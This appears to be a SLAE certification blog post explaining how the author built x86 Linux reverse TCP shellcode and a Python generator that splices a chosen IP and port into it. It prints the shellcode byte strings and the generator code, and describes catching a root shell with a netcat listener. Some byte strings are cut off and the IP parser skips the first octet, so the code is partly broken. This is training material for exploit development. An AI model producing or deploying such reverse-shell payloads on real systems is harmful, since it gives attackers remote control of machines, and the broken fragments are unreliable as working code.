SLAE Assignment #2 – shell_reverse_tcp shellcode w/ customized IP/port

Files available on Github:

  1. assignment2.nasm
  4. shellcode.c

In this assignment, creating a reverse tcp shellcode with the ability to customize the port and IP address was the objective, so I approached this challenge similarly to the last assignment.

First was the creation of the base shellcode itself, which the commented source can be seen in assignment2.nasm.  Once this was compiled using NASM with the script, the opcodes were extracted using the handy shortcut found at commandlinefu.

The raw shellcode was then split into three parts so that the customized values of IP and port could be grafted into it and then rejoined into the final shellcode:

begin = r"\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x31\xff\x97\x6a\x66\x58\x6a\x02\x5b\x31" \

port = r'\x66\x68'

end = r"\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x57\x5b\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\xb0" \

From there, I modified my python program arguments to support a customized IP in addition to the customized port of the last assignment. To do this, I utilized the argparse library:

parser = argparse.ArgumentParser()
parser.add_argument('-p', action="store", dest="p", type=int)
parser.add_argument('-i', action="store", dest="i")
args = parser.parse_args()

Converting the port number to hexadecimal, putting it in little-endian order, and ensuring it was in the valid range of ports was the next step:

if 1024 < args.p < 65536:
        unformatted_port = r''.join(hex(b)[2:4] for b in pack('!i', args.p))
        delim = r'\x'
        port += delim + unformatted_port[2:4] + delim + unformatted_port[4:8]

        print('Port must be between 1025 and 65535.  Exiting.')

Next, the same logic was applied to getting the hexadecimal representation of the IP address entered.  The validation logic I used was somewhat limited to save time, simply limiting the values entered to between 1 and 255, which excludes some valid addresses and includes some invalid ones as well.

dot1_pos = args.i.find('.')
dot2_pos = args.i.find('.', dot1_pos + 1)
dot3_pos = args.i.find('.', dot2_pos + 1)
octets = []

octets.append(int(args.i[dot1_pos + 1:dot2_pos]))
octets.append(int(args.i[dot2_pos + 1:dot3_pos]))
octets.append(int(args.i[dot3_pos + 1:len(args.i)]))
ip = r''
for octet in octets:
    if 1 <= octet <= 255:
        ip += r'\x'
        ip += '{0:02x}'.format(octet)
        print("Valid octets are between 1 and 255.  Try again.")

Finally, the shellcode values are joined together in a final string that is printed to the screen:

shellcode = begin + ip + port + end
print("Shellcode :  " + "\"" + shellcode + "\";")

Running the program with some example values produces the shellcode that we will place into our skeleton C program:


After starting a netcat listener on the example port used (in this case 31337), we compile and execute our skeleton C program, which connects to the listening machine on the attacker where a shell is now available.


Root shell FTW.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID:  SLAE-860

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s